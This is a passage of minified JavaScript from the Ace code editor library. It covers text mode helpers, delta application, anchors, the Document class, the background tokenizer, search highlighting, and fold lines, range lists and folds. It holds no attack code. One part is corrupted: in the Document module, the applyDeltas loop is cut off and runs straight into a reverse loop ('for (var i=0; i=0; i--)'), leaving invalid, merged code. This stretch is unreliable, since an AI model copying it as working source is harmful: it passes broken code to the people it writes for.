mode[method].apply(mode, args); } } var ret = defaultHandler.apply(this, args); return defaultHandler ? ret : undefined; }; this.transformAction = function(state, action, editor, session, param) { if (this.$behaviour) { var behaviours = this.$behaviour.getBehaviours(); for (var key in behaviours) { if (behaviours[key][action]) { var ret = behaviours[key][action].apply(this, arguments); if (ret) { return ret; } } } } }; this.getKeywords = function(append) { if (!this.completionKeywords) { var rules = this.$tokenizer.rules; var completionKeywords = []; for (var rule in rules) { var ruleItr = rules[rule]; for (var r = 0, l = ruleItr.length; r < l; r++) { if (typeof ruleItr[r].token === "string") { if (/keyword|support|storage/.test(ruleItr[r].token)) completionKeywords.push(ruleItr[r].regex); } else if (typeof ruleItr[r].token === "object") { for (var a = 0, aLength = ruleItr[r].token.length; a < aLength; a++) { if (/keyword|support|storage/.test(ruleItr[r].token[a])) { var rule = ruleItr[r].regex.match(/\(.+?\)/g)[a]; completionKeywords.push(rule.substr(1, rule.length - 2)); } } } } } this.completionKeywords = completionKeywords; } if (!append) return this.$keywordList; return completionKeywords.concat(this.$keywordList || []); }; this.$createKeywordList = function() { if (!this.$highlightRules) this.getTokenizer(); return this.$keywordList = this.$highlightRules.$keywordList || []; }; this.getCompletions = function(state, session, pos, prefix) { var keywords = this.$keywordList || this.$createKeywordList(); return keywords.map(function(word) { return { name: word, value: word, score: 0, meta: "keyword" }; }); }; this.$id = "ace/mode/text"; }).call(Mode.prototype); exports.Mode = Mode; }); ace.define("ace/apply_delta",["require","exports","module"], function(require, exports, module) { "use strict"; function throwDeltaError(delta, errorText){ console.log("Invalid Delta:", delta); throw "Invalid Delta: " + errorText; } function positionInDocument(docLines, position) { return position.row >= 0 && position.row < docLines.length && position.column >= 0 && position.column <= docLines[position.row].length; } function validateDelta(docLines, delta) { if (delta.action != "insert" && delta.action != "remove") throwDeltaError(delta, "delta.action must be 'insert' or 'remove'"); if (!(delta.lines instanceof Array)) throwDeltaError(delta, "delta.lines must be an Array"); if (!delta.start || !delta.end) throwDeltaError(delta, "delta.start/end must be an present"); var start = delta.start; if (!positionInDocument(docLines, delta.start)) throwDeltaError(delta, "delta.start must be contained in document"); var end = delta.end; if (delta.action == "remove" && !positionInDocument(docLines, end)) throwDeltaError(delta, "delta.end must contained in document for 'remove' actions"); var numRangeRows = end.row - start.row; var numRangeLastLineChars = (end.column - (numRangeRows == 0 ? start.column : 0)); if (numRangeRows != delta.lines.length - 1 || delta.lines[numRangeRows].length != numRangeLastLineChars) throwDeltaError(delta, "delta.range must match delta lines"); } exports.applyDelta = function(docLines, delta, doNotValidate) { var row = delta.start.row; var startColumn = delta.start.column; var line = docLines[row] || ""; switch (delta.action) { case "insert": var lines = delta.lines; if (lines.length === 1) { docLines[row] = line.substring(0, startColumn) + delta.lines[0] + line.substring(startColumn); } else { var args = [row, 1].concat(delta.lines); docLines.splice.apply(docLines, args); docLines[row] = line.substring(0, startColumn) + docLines[row]; docLines[row + delta.lines.length - 1] += line.substring(startColumn); } break; case "remove": var endColumn = delta.end.column; var endRow = delta.end.row; if (row === endRow) { docLines[row] = line.substring(0, startColumn) + line.substring(endColumn); } else { docLines.splice( row, endRow - row + 1, line.substring(0, startColumn) + docLines[endRow].substring(endColumn) ); } break; } } }); ace.define("ace/anchor",["require","exports","module","ace/lib/oop","ace/lib/event_emitter"], function(require, exports, module) { "use strict"; var oop = require("./lib/oop"); var EventEmitter = require("./lib/event_emitter").EventEmitter; var Anchor = exports.Anchor = function(doc, row, column) { this.$onChange = this.onChange.bind(this); this.attach(doc); if (typeof column == "undefined") this.setPosition(row.row, row.column); else this.setPosition(row, column); }; (function() { oop.implement(this, EventEmitter); this.getPosition = function() { return this.$clipPositionToDocument(this.row, this.column); }; this.getDocument = function() { return this.document; }; this.$insertRight = false; this.onChange = function(delta) { if (delta.start.row == delta.end.row && delta.start.row != this.row) return; if (delta.start.row > this.row) return; var point = $getTransformedPoint(delta, {row: this.row, column: this.column}, this.$insertRight); this.setPosition(point.row, point.column, true); }; function $pointsInOrder(point1, point2, equalPointsInOrder) { var bColIsAfter = equalPointsInOrder ? point1.column <= point2.column : point1.column < point2.column; return (point1.row < point2.row) || (point1.row == point2.row && bColIsAfter); } function $getTransformedPoint(delta, point, moveIfEqual) { var deltaIsInsert = delta.action == "insert"; var deltaRowShift = (deltaIsInsert ? 1 : -1) * (delta.end.row - delta.start.row); var deltaColShift = (deltaIsInsert ? 1 : -1) * (delta.end.column - delta.start.column); var deltaStart = delta.start; var deltaEnd = deltaIsInsert ? deltaStart : delta.end; // Collapse insert range. if ($pointsInOrder(point, deltaStart, moveIfEqual)) { return { row: point.row, column: point.column }; } if ($pointsInOrder(deltaEnd, point, !moveIfEqual)) { return { row: point.row + deltaRowShift, column: point.column + (point.row == deltaEnd.row ? deltaColShift : 0) }; } return { row: deltaStart.row, column: deltaStart.column }; } this.setPosition = function(row, column, noClip) { var pos; if (noClip) { pos = { row: row, column: column }; } else { pos = this.$clipPositionToDocument(row, column); } if (this.row == pos.row && this.column == pos.column) return; var old = { row: this.row, column: this.column }; this.row = pos.row; this.column = pos.column; this._signal("change", { old: old, value: pos }); }; this.detach = function() { this.document.removeEventListener("change", this.$onChange); }; this.attach = function(doc) { this.document = doc || this.document; this.document.on("change", this.$onChange); }; this.$clipPositionToDocument = function(row, column) { var pos = {}; if (row >= this.document.getLength()) { pos.row = Math.max(0, this.document.getLength() - 1); pos.column = this.document.getLine(pos.row).length; } else if (row < 0) { pos.row = 0; pos.column = 0; } else { pos.row = row; pos.column = Math.min(this.document.getLine(pos.row).length, Math.max(0, column)); } if (column < 0) pos.column = 0; return pos; }; }).call(Anchor.prototype); }); ace.define("ace/document",["require","exports","module","ace/lib/oop","ace/apply_delta","ace/lib/event_emitter","ace/range","ace/anchor"], function(require, exports, module) { "use strict"; var oop = require("./lib/oop"); var applyDelta = require("./apply_delta").applyDelta; var EventEmitter = require("./lib/event_emitter").EventEmitter; var Range = require("./range").Range; var Anchor = require("./anchor").Anchor; var Document = function(textOrLines) { this.$lines = [""]; if (textOrLines.length === 0) { this.$lines = [""]; } else if (Array.isArray(textOrLines)) { this.insertMergedLines({row: 0, column: 0}, textOrLines); } else { this.insert({row: 0, column:0}, textOrLines); } }; (function() { oop.implement(this, EventEmitter); this.setValue = function(text) { var len = this.getLength() - 1; this.remove(new Range(0, 0, len, this.getLine(len).length)); this.insert({row: 0, column: 0}, text); }; this.getValue = function() { return this.getAllLines().join(this.getNewLineCharacter()); }; this.createAnchor = function(row, column) { return new Anchor(this, row, column); }; if ("aaa".split(/a/).length === 0) { this.$split = function(text) { return text.replace(/\r\n|\r/g, "\n").split("\n"); }; } else { this.$split = function(text) { return text.split(/\r\n|\r|\n/); }; } this.$detectNewLine = function(text) { var match = text.match(/^.*?(\r\n|\r|\n)/m); this.$autoNewLine = match ? match[1] : "\n"; this._signal("changeNewLineMode"); }; this.getNewLineCharacter = function() { switch (this.$newLineMode) { case "windows": return "\r\n"; case "unix": return "\n"; default: return this.$autoNewLine || "\n"; } }; this.$autoNewLine = ""; this.$newLineMode = "auto"; this.setNewLineMode = function(newLineMode) { if (this.$newLineMode === newLineMode) return; this.$newLineMode = newLineMode; this._signal("changeNewLineMode"); }; this.getNewLineMode = function() { return this.$newLineMode; }; this.isNewLine = function(text) { return (text == "\r\n" || text == "\r" || text == "\n"); }; this.getLine = function(row) { return this.$lines[row] || ""; }; this.getLines = function(firstRow, lastRow) { return this.$lines.slice(firstRow, lastRow + 1); }; this.getAllLines = function() { return this.getLines(0, this.getLength()); }; this.getLength = function() { return this.$lines.length; }; this.getTextRange = function(range) { return this.getLinesForRange(range).join(this.getNewLineCharacter()); }; this.getLinesForRange = function(range) { var lines; if (range.start.row === range.end.row) { lines = [this.getLine(range.start.row).substring(range.start.column, range.end.column)]; } else { lines = this.getLines(range.start.row, range.end.row); lines[0] = (lines[0] || "").substring(range.start.column); var l = lines.length - 1; if (range.end.row - range.start.row == l) lines[l] = lines[l].substring(0, range.end.column); } return lines; }; this.insertLines = function(row, lines) { console.warn("Use of document.insertLines is deprecated. Use the insertFullLines method instead."); return this.insertFullLines(row, lines); }; this.removeLines = function(firstRow, lastRow) { console.warn("Use of document.removeLines is deprecated. Use the removeFullLines method instead."); return this.removeFullLines(firstRow, lastRow); }; this.insertNewLine = function(position) { console.warn("Use of document.insertNewLine is deprecated. Use insertMergedLines(position, [\'\', \'\']) instead."); return this.insertMergedLines(position, ["", ""]); }; this.insert = function(position, text) { if (this.getLength() <= 1) this.$detectNewLine(text); return this.insertMergedLines(position, this.$split(text)); }; this.insertInLine = function(position, text) { var start = this.clippedPos(position.row, position.column); var end = this.pos(position.row, position.column + text.length); this.applyDelta({ start: start, end: end, action: "insert", lines: [text] }, true); return this.clonePos(end); }; this.clippedPos = function(row, column) { var length = this.getLength(); if (row === undefined) { row = length; } else if (row < 0) { row = 0; } else if (row >= length) { row = length - 1; column = undefined; } var line = this.getLine(row); if (column == undefined) column = line.length; column = Math.min(Math.max(column, 0), line.length); return {row: row, column: column}; }; this.clonePos = function(pos) { return {row: pos.row, column: pos.column}; }; this.pos = function(row, column) { return {row: row, column: column}; }; this.$clipPosition = function(position) { var length = this.getLength(); if (position.row >= length) { position.row = Math.max(0, length - 1); position.column = this.getLine(length - 1).length; } else { position.row = Math.max(0, position.row); position.column = Math.min(Math.max(position.column, 0), this.getLine(position.row).length); } return position; }; this.insertFullLines = function(row, lines) { row = Math.min(Math.max(row, 0), this.getLength()); var column = 0; if (row < this.getLength()) { lines = lines.concat([""]); column = 0; } else { lines = [""].concat(lines); row--; column = this.$lines[row].length; } this.insertMergedLines({row: row, column: column}, lines); }; this.insertMergedLines = function(position, lines) { var start = this.clippedPos(position.row, position.column); var end = { row: start.row + lines.length - 1, column: (lines.length == 1 ? start.column : 0) + lines[lines.length - 1].length }; this.applyDelta({ start: start, end: end, action: "insert", lines: lines }); return this.clonePos(end); }; this.remove = function(range) { var start = this.clippedPos(range.start.row, range.start.column); var end = this.clippedPos(range.end.row, range.end.column); this.applyDelta({ start: start, end: end, action: "remove", lines: this.getLinesForRange({start: start, end: end}) }); return this.clonePos(start); }; this.removeInLine = function(row, startColumn, endColumn) { var start = this.clippedPos(row, startColumn); var end = this.clippedPos(row, endColumn); this.applyDelta({ start: start, end: end, action: "remove", lines: this.getLinesForRange({start: start, end: end}) }, true); return this.clonePos(start); }; this.removeFullLines = function(firstRow, lastRow) { firstRow = Math.min(Math.max(0, firstRow), this.getLength() - 1); lastRow = Math.min(Math.max(0, lastRow ), this.getLength() - 1); var deleteFirstNewLine = lastRow == this.getLength() - 1 && firstRow > 0; var deleteLastNewLine = lastRow < this.getLength() - 1; var startRow = ( deleteFirstNewLine ? firstRow - 1 : firstRow ); var startCol = ( deleteFirstNewLine ? this.getLine(startRow).length : 0 ); var endRow = ( deleteLastNewLine ? lastRow + 1 : lastRow ); var endCol = ( deleteLastNewLine ? 0 : this.getLine(endRow).length ); var range = new Range(startRow, startCol, endRow, endCol); var deletedLines = this.$lines.slice(firstRow, lastRow + 1); this.applyDelta({ start: range.start, end: range.end, action: "remove", lines: this.getLinesForRange(range) }); return deletedLines; }; this.removeNewLine = function(row) { if (row < this.getLength() - 1 && row >= 0) { this.applyDelta({ start: this.pos(row, this.getLine(row).length), end: this.pos(row + 1, 0), action: "remove", lines: ["", ""] }); } }; this.replace = function(range, text) { if (!(range instanceof Range)) range = Range.fromPoints(range.start, range.end); if (text.length === 0 && range.isEmpty()) return range.start; if (text == this.getTextRange(range)) return range.end; this.remove(range); var end; if (text) { end = this.insert(range.start, text); } else { end = range.start; } return end; }; this.applyDeltas = function(deltas) { for (var i=0; i=0; i--) { this.revertDelta(deltas[i]); } }; this.applyDelta = function(delta, doNotValidate) { var isInsert = delta.action == "insert"; if (isInsert ? delta.lines.length <= 1 && !delta.lines[0] : !Range.comparePoints(delta.start, delta.end)) { return; } if (isInsert && delta.lines.length > 20000) this.$splitAndapplyLargeDelta(delta, 20000); applyDelta(this.$lines, delta, doNotValidate); this._signal("change", delta); }; this.$splitAndapplyLargeDelta = function(delta, MAX) { var lines = delta.lines; var l = lines.length; var row = delta.start.row; var column = delta.start.column; var from = 0, to = 0; do { from = to; to += MAX - 1; var chunk = lines.slice(from, to); if (to > l) { delta.lines = chunk; delta.start.row = row + from; delta.start.column = column; break; } chunk.push(""); this.applyDelta({ start: this.pos(row + from, column), end: this.pos(row + to, column = 0), action: delta.action, lines: chunk }, true); } while(true); }; this.revertDelta = function(delta) { this.applyDelta({ start: this.clonePos(delta.start), end: this.clonePos(delta.end), action: (delta.action == "insert" ? "remove" : "insert"), lines: delta.lines.slice() }); }; this.indexToPosition = function(index, startRow) { var lines = this.$lines || this.getAllLines(); var newlineLength = this.getNewLineCharacter().length; for (var i = startRow || 0, l = lines.length; i < l; i++) { index -= lines[i].length + newlineLength; if (index < 0) return {row: i, column: index + lines[i].length + newlineLength}; } return {row: l-1, column: lines[l-1].length}; }; this.positionToIndex = function(pos, startRow) { var lines = this.$lines || this.getAllLines(); var newlineLength = this.getNewLineCharacter().length; var index = 0; var row = Math.min(pos.row, lines.length); for (var i = startRow || 0; i < row; ++i) index += lines[i].length + newlineLength; return index + pos.column; }; }).call(Document.prototype); exports.Document = Document; }); ace.define("ace/background_tokenizer",["require","exports","module","ace/lib/oop","ace/lib/event_emitter"], function(require, exports, module) { "use strict"; var oop = require("./lib/oop"); var EventEmitter = require("./lib/event_emitter").EventEmitter; var BackgroundTokenizer = function(tokenizer, editor) { this.running = false; this.lines = []; this.states = []; this.currentLine = 0; this.tokenizer = tokenizer; var self = this; this.$worker = function() { if (!self.running) { return; } var workerStart = new Date(); var currentLine = self.currentLine; var endLine = -1; var doc = self.doc; var startLine = currentLine; while (self.lines[currentLine]) currentLine++; var len = doc.getLength(); var processedLines = 0; self.running = false; while (currentLine < len) { self.$tokenizeRow(currentLine); endLine = currentLine; do { currentLine++; } while (self.lines[currentLine]); processedLines ++; if ((processedLines % 5 === 0) && (new Date() - workerStart) > 20) { self.running = setTimeout(self.$worker, 20); break; } } self.currentLine = currentLine; if (startLine <= endLine) self.fireUpdateEvent(startLine, endLine); }; }; (function(){ oop.implement(this, EventEmitter); this.setTokenizer = function(tokenizer) { this.tokenizer = tokenizer; this.lines = []; this.states = []; this.start(0); }; this.setDocument = function(doc) { this.doc = doc; this.lines = []; this.states = []; this.stop(); }; this.fireUpdateEvent = function(firstRow, lastRow) { var data = { first: firstRow, last: lastRow }; this._signal("update", {data: data}); }; this.start = function(startRow) { this.currentLine = Math.min(startRow || 0, this.currentLine, this.doc.getLength()); this.lines.splice(this.currentLine, this.lines.length); this.states.splice(this.currentLine, this.states.length); this.stop(); this.running = setTimeout(this.$worker, 700); }; this.scheduleStart = function() { if (!this.running) this.running = setTimeout(this.$worker, 700); } this.$updateOnChange = function(delta) { var startRow = delta.start.row; var len = delta.end.row - startRow; if (len === 0) { this.lines[startRow] = null; } else if (delta.action == "remove") { this.lines.splice(startRow, len + 1, null); this.states.splice(startRow, len + 1, null); } else { var args = Array(len + 1); args.unshift(startRow, 1); this.lines.splice.apply(this.lines, args); this.states.splice.apply(this.states, args); } this.currentLine = Math.min(startRow, this.currentLine, this.doc.getLength()); this.stop(); }; this.stop = function() { if (this.running) clearTimeout(this.running); this.running = false; }; this.getTokens = function(row) { return this.lines[row] || this.$tokenizeRow(row); }; this.getState = function(row) { if (this.currentLine == row) this.$tokenizeRow(row); return this.states[row] || "start"; }; this.$tokenizeRow = function(row) { var line = this.doc.getLine(row); var state = this.states[row - 1]; var data = this.tokenizer.getLineTokens(line, state, row); if (this.states[row] + "" !== data.state + "") { this.states[row] = data.state; this.lines[row + 1] = null; if (this.currentLine > row + 1) this.currentLine = row + 1; } else if (this.currentLine == row) { this.currentLine = row + 1; } return this.lines[row] = data.tokens; }; }).call(BackgroundTokenizer.prototype); exports.BackgroundTokenizer = BackgroundTokenizer; }); ace.define("ace/search_highlight",["require","exports","module","ace/lib/lang","ace/lib/oop","ace/range"], function(require, exports, module) { "use strict"; var lang = require("./lib/lang"); var oop = require("./lib/oop"); var Range = require("./range").Range; var SearchHighlight = function(regExp, clazz, type) { this.setRegexp(regExp); this.clazz = clazz; this.type = type || "text"; }; (function() { this.MAX_RANGES = 500; this.setRegexp = function(regExp) { if (this.regExp+"" == regExp+"") return; this.regExp = regExp; this.cache = []; }; this.update = function(html, markerLayer, session, config) { if (!this.regExp) return; var start = config.firstRow, end = config.lastRow; for (var i = start; i <= end; i++) { var ranges = this.cache[i]; if (ranges == null) { ranges = lang.getMatchOffsets(session.getLine(i), this.regExp); if (ranges.length > this.MAX_RANGES) ranges = ranges.slice(0, this.MAX_RANGES); ranges = ranges.map(function(match) { return new Range(i, match.offset, i, match.offset + match.length); }); this.cache[i] = ranges.length ? ranges : ""; } for (var j = ranges.length; j --; ) { markerLayer.drawSingleLineMarker( html, ranges[j].toScreenRange(session), this.clazz, config); } } }; }).call(SearchHighlight.prototype); exports.SearchHighlight = SearchHighlight; }); ace.define("ace/edit_session/fold_line",["require","exports","module","ace/range"], function(require, exports, module) { "use strict"; var Range = require("../range").Range; function FoldLine(foldData, folds) { this.foldData = foldData; if (Array.isArray(folds)) { this.folds = folds; } else { folds = this.folds = [ folds ]; } var last = folds[folds.length - 1]; this.range = new Range(folds[0].start.row, folds[0].start.column, last.end.row, last.end.column); this.start = this.range.start; this.end = this.range.end; this.folds.forEach(function(fold) { fold.setFoldLine(this); }, this); } (function() { this.shiftRow = function(shift) { this.start.row += shift; this.end.row += shift; this.folds.forEach(function(fold) { fold.start.row += shift; fold.end.row += shift; }); }; this.addFold = function(fold) { if (fold.sameRow) { if (fold.start.row < this.startRow || fold.endRow > this.endRow) { throw new Error("Can't add a fold to this FoldLine as it has no connection"); } this.folds.push(fold); this.folds.sort(function(a, b) { return -a.range.compareEnd(b.start.row, b.start.column); }); if (this.range.compareEnd(fold.start.row, fold.start.column) > 0) { this.end.row = fold.end.row; this.end.column = fold.end.column; } else if (this.range.compareStart(fold.end.row, fold.end.column) < 0) { this.start.row = fold.start.row; this.start.column = fold.start.column; } } else if (fold.start.row == this.end.row) { this.folds.push(fold); this.end.row = fold.end.row; this.end.column = fold.end.column; } else if (fold.end.row == this.start.row) { this.folds.unshift(fold); this.start.row = fold.start.row; this.start.column = fold.start.column; } else { throw new Error("Trying to add fold to FoldRow that doesn't have a matching row"); } fold.foldLine = this; }; this.containsRow = function(row) { return row >= this.start.row && row <= this.end.row; }; this.walk = function(callback, endRow, endColumn) { var lastEnd = 0, folds = this.folds, fold, cmp, stop, isNewRow = true; if (endRow == null) { endRow = this.end.row; endColumn = this.end.column; } for (var i = 0; i < folds.length; i++) { fold = folds[i]; cmp = fold.range.compareStart(endRow, endColumn); if (cmp == -1) { callback(null, endRow, endColumn, lastEnd, isNewRow); return; } stop = callback(null, fold.start.row, fold.start.column, lastEnd, isNewRow); stop = !stop && callback(fold.placeholder, fold.start.row, fold.start.column, lastEnd); if (stop || cmp === 0) { return; } isNewRow = !fold.sameRow; lastEnd = fold.end.column; } callback(null, endRow, endColumn, lastEnd, isNewRow); }; this.getNextFoldTo = function(row, column) { var fold, cmp; for (var i = 0; i < this.folds.length; i++) { fold = this.folds[i]; cmp = fold.range.compareEnd(row, column); if (cmp == -1) { return { fold: fold, kind: "after" }; } else if (cmp === 0) { return { fold: fold, kind: "inside" }; } } return null; }; this.addRemoveChars = function(row, column, len) { var ret = this.getNextFoldTo(row, column), fold, folds; if (ret) { fold = ret.fold; if (ret.kind == "inside" && fold.start.column != column && fold.start.row != row) { window.console && window.console.log(row, column, fold); } else if (fold.start.row == row) { folds = this.folds; var i = folds.indexOf(fold); if (i === 0) { this.start.column += len; } for (i; i < folds.length; i++) { fold = folds[i]; fold.start.column += len; if (!fold.sameRow) { return; } fold.end.column += len; } this.end.column += len; } } }; this.split = function(row, column) { var pos = this.getNextFoldTo(row, column); if (!pos || pos.kind == "inside") return null; var fold = pos.fold; var folds = this.folds; var foldData = this.foldData; var i = folds.indexOf(fold); var foldBefore = folds[i - 1]; this.end.row = foldBefore.end.row; this.end.column = foldBefore.end.column; folds = folds.splice(i, folds.length - i); var newFoldLine = new FoldLine(foldData, folds); foldData.splice(foldData.indexOf(this) + 1, 0, newFoldLine); return newFoldLine; }; this.merge = function(foldLineNext) { var folds = foldLineNext.folds; for (var i = 0; i < folds.length; i++) { this.addFold(folds[i]); } var foldData = this.foldData; foldData.splice(foldData.indexOf(foldLineNext), 1); }; this.toString = function() { var ret = [this.range.toString() + ": [" ]; this.folds.forEach(function(fold) { ret.push(" " + fold.toString()); }); ret.push("]"); return ret.join("\n"); }; this.idxToPosition = function(idx) { var lastFoldEndColumn = 0; for (var i = 0; i < this.folds.length; i++) { var fold = this.folds[i]; idx -= fold.start.column - lastFoldEndColumn; if (idx < 0) { return { row: fold.start.row, column: fold.start.column + idx }; } idx -= fold.placeholder.length; if (idx < 0) { return fold.start; } lastFoldEndColumn = fold.end.column; } return { row: this.end.row, column: this.end.column + idx }; }; }).call(FoldLine.prototype); exports.FoldLine = FoldLine; }); ace.define("ace/range_list",["require","exports","module","ace/range"], function(require, exports, module) { "use strict"; var Range = require("./range").Range; var comparePoints = Range.comparePoints; var RangeList = function() { this.ranges = []; }; (function() { this.comparePoints = comparePoints; this.pointIndex = function(pos, excludeEdges, startIndex) { var list = this.ranges; for (var i = startIndex || 0; i < list.length; i++) { var range = list[i]; var cmpEnd = comparePoints(pos, range.end); if (cmpEnd > 0) continue; var cmpStart = comparePoints(pos, range.start); if (cmpEnd === 0) return excludeEdges && cmpStart !== 0 ? -i-2 : i; if (cmpStart > 0 || (cmpStart === 0 && !excludeEdges)) return i; return -i-1; } return -i - 1; }; this.add = function(range) { var excludeEdges = !range.isEmpty(); var startIndex = this.pointIndex(range.start, excludeEdges); if (startIndex < 0) startIndex = -startIndex - 1; var endIndex = this.pointIndex(range.end, excludeEdges, startIndex); if (endIndex < 0) endIndex = -endIndex - 1; else endIndex++; return this.ranges.splice(startIndex, endIndex - startIndex, range); }; this.addList = function(list) { var removed = []; for (var i = list.length; i--; ) { removed.push.apply(removed, this.add(list[i])); } return removed; }; this.substractPoint = function(pos) { var i = this.pointIndex(pos); if (i >= 0) return this.ranges.splice(i, 1); }; this.merge = function() { var removed = []; var list = this.ranges; list = list.sort(function(a, b) { return comparePoints(a.start, b.start); }); var next = list[0], range; for (var i = 1; i < list.length; i++) { range = next; next = list[i]; var cmp = comparePoints(range.end, next.start); if (cmp < 0) continue; if (cmp == 0 && !range.isEmpty() && !next.isEmpty()) continue; if (comparePoints(range.end, next.end) < 0) { range.end.row = next.end.row; range.end.column = next.end.column; } list.splice(i, 1); removed.push(next); next = range; i--; } this.ranges = list; return removed; }; this.contains = function(row, column) { return this.pointIndex({row: row, column: column}) >= 0; }; this.containsPoint = function(pos) { return this.pointIndex(pos) >= 0; }; this.rangeAtPoint = function(pos) { var i = this.pointIndex(pos); if (i >= 0) return this.ranges[i]; }; this.clipRows = function(startRow, endRow) { var list = this.ranges; if (list[0].start.row > endRow || list[list.length - 1].start.row < startRow) return []; var startIndex = this.pointIndex({row: startRow, column: 0}); if (startIndex < 0) startIndex = -startIndex - 1; var endIndex = this.pointIndex({row: endRow, column: 0}, startIndex); if (endIndex < 0) endIndex = -endIndex - 1; var clipped = []; for (var i = startIndex; i < endIndex; i++) { clipped.push(list[i]); } return clipped; }; this.removeAll = function() { return this.ranges.splice(0, this.ranges.length); }; this.attach = function(session) { if (this.session) this.detach(); this.session = session; this.onChange = this.$onChange.bind(this); this.session.on('change', this.onChange); }; this.detach = function() { if (!this.session) return; this.session.removeListener('change', this.onChange); this.session = null; }; this.$onChange = function(delta) { if (delta.action == "insert"){ var start = delta.start; var end = delta.end; } else { var end = delta.start; var start = delta.end; } var startRow = start.row; var endRow = end.row; var lineDif = endRow - startRow; var colDiff = -start.column + end.column; var ranges = this.ranges; for (var i = 0, n = ranges.length; i < n; i++) { var r = ranges[i]; if (r.end.row < startRow) continue; if (r.start.row > startRow) break; if (r.start.row == startRow && r.start.column >= start.column ) { if (r.start.column == start.column && this.$insertRight) { } else { r.start.column += colDiff; r.start.row += lineDif; } } if (r.end.row == startRow && r.end.column >= start.column) { if (r.end.column == start.column && this.$insertRight) { continue; } if (r.end.column == start.column && colDiff > 0 && i < n - 1) { if (r.end.column > r.start.column && r.end.column == ranges[i+1].start.column) r.end.column -= colDiff; } r.end.column += colDiff; r.end.row += lineDif; } } if (lineDif != 0 && i < n) { for (; i < n; i++) { var r = ranges[i]; r.start.row += lineDif; r.end.row += lineDif; } } }; }).call(RangeList.prototype); exports.RangeList = RangeList; }); ace.define("ace/edit_session/fold",["require","exports","module","ace/range","ace/range_list","ace/lib/oop"], function(require, exports, module) { "use strict"; var Range = require("../range").Range; var RangeList = require("../range_list").RangeList; var oop = require("../lib/oop") var Fold = exports.Fold = function(range, placeholder) { this.foldLine = null; this.placeholder = placeholder; this.range = range; this.start = range.start; this.end = range.end; this.sameRow = range.start.row == range.end.row; this.subFolds = this.ranges = []; }; oop.inherits(Fold, RangeList); (function() { this.toString = function() { return '"' + this.placeholder + '" ' + this.range.toString(); }; this.setFoldLine = function(foldLine) { this.foldLine = foldLine; this.subFolds.forEach(function(fold) { fold.setFoldLine(foldLine); }); }; this.clone = function() { var range = this.range.clone(); var fold = new Fold(range, this.placeholder); this.subFolds.forEach(function(subFold) { fold.subFolds.push(subFold.clone()); }); fold.collapseChildren = this.collapseChildren; return fold; }; this.addSubFold = function(fold) { if (this.range.isEqual(fold)) return; if (!this.range.containsRange(fold)) throw new Error("A fold can't intersect already existing fold" + fold.range + this.range); consumeRange(fold, this.start); var row = fold.start.row, column = fold.start.column; for (var i = 0, cmp = -1; i < this.subFolds.length; i++) { cmp = this.subFolds[i].range.compare(row, column); if (cmp != 1) break; } var afterStart = this.subFolds[i]; if (cmp == 0) return afterStart.addSubFold(fold); var row = fold.range.end.row, column = fold.range.end.column; for (var j = i, cmp = -1; j < this.subFolds.length; j++) { cmp = this.subFolds[j].range.compare(row, column); if (cmp != 1) break; } var afterEnd = this.subFolds[j]; if (cmp == 0) throw new Error("A fold can't intersect already existing fold" + fold.range + this.range); var consumedFolds = this.subFolds.splice(i, j - i, fold); fold.setFoldLine(this.foldLine); return fold; }; this.restoreRange = function(range) { return restoreRange(range, this.start); }; }).call(Fold.prototype); function consumePoint(point, anchor) { point.row -= anchor.row; if (point.row == 0) point.column -= anchor.column; } function consumeRange(range, anchor) { consumePoint(range.start, anchor); consumePoint(range.end, anchor); } function restorePoint(point, anchor) { if (point.row == 0) point.column += anchor.column; point.row += anchor.row; } function restoreRange(range, anchor) { restorePoint(range.start, anchor); restorePoint(range.end, anchor); } }); ace.define("ace/edit_session/folding",["require","exports","module","ace/range","ace/edit_session/fold_line","ace/edit_session/fold","ace/token_iterator"], function(require, exports, module) { "use strict"; var Range = require("../range").Range; var FoldLine = require("./fold_line").FoldLine; var Fold = require("./fold").Fold; var TokenIterator = require("../token_iterator").TokenIterator; function Folding() { this.getFoldAt = function(row, column, side) { var foldLine = this.getFoldLine(row); if (!foldLine) return null; var folds = foldLine.folds; for (var i = 0; i < folds.length; i++) { var fold = folds[i]; if (fold.range.contains(row, column)) { if (side == 1 && fold.range.isEnd(row, column)) { continue; } else if (side == -1 && fold.range.isStart(row, column)) { continue; } return fold; } } }; this.getFoldsInRange = function(range) { var start = range.start; var end = range.end; var foldLines = this.$foldData; var foundFolds = []; start.column += 1; end.column -= 1; for (var i = 0; i < foldLines.length; i++) { var cmp = foldLines[i].range.compareRange(range); if (cmp == 2) { continue; } else if (cmp == -2) { break; } var folds = foldLines[i].folds; for (var j = 0; j < folds.length; j++) { var fold = folds[j]; cmp = fold.range.compareRange(range); if (cmp == -2) { break; } else if (cmp == 2) { continue; } else if (cmp == 42) { break; } foundFolds.push(fold); } } start.column -= 1; end.column += 1; return foundFolds; }; this.getFoldsInRangeList = function(ranges) { if (Array.isArray(ranges)) { var folds = []; ranges.forEach(function(range) { folds = folds.concat(this.getFoldsInRange(range)); }, this); } else { var folds = this.getFoldsInRange(ranges); } return folds; }; this.getAllFolds = function() { var folds = []; var foldLines = this.$foldData; for (var i = 0; i < foldLines.length; i++) for (var j = 0; j < foldLines[i].folds.length; j++) folds.push(foldLines[i].folds[j]); return folds; }; this.getFoldStringAt = function(row, column, trim, foldLine) { foldLine = foldLine || this.getFoldLine(row); if (!foldLine) return null; var lastFold = { end: { column: 0 } }; var str, fold; for (var i = 0; i < foldLine.folds.length; i++) { fold = foldLine.folds[i]; var cmp = fold.range.compareEnd(row, column); if (cmp == -1) { str = this .getLine(fold.start.row) .substring(lastFold.end.column, fold.start.column); break; } else if (cmp === 0) { return null; } lastFold = fold; } if (!str) str = this.getLine(fold.start.row).substring(lastFold.end.column); if (trim == -1) return str.substring(0, column - lastFold.end.column); else if (trim == 1) return str.substring(column - lastFold.end.column); else return str; }; this.getFoldLine = function(docRow, startFoldLine) { var foldData = this.$foldData; var i = 0; if (startFoldLine) i = foldData.indexOf(startFoldLine); if (i == -1) i = 0; for (i; i < foldData.length; i++) { var foldLine = foldData[i]; if (foldLine.start.row <= docRow && foldLine.end.row >= docRow) { return foldLine; } else if (foldLine.end.row > docRow) { return null; } } return null; }; this.getNextFoldLine = function(docRow, startFoldLine) { var foldData = this.$foldData; var i = 0; if (startFoldLine) i = foldData.indexOf(startFoldLine); if (i == -1) i = 0; for (i; i < foldData.length; i++) { var foldLine = foldData[i]; if (foldLine.end.row >= docRow) { return foldLine; } } return null; }; this.getFoldedRowCount = function(first, last) { var foldData = this.$foldData, rowCount = last-first+1; for (var i = 0; i < foldData.length; i++) { var foldLine = foldData[i], end = 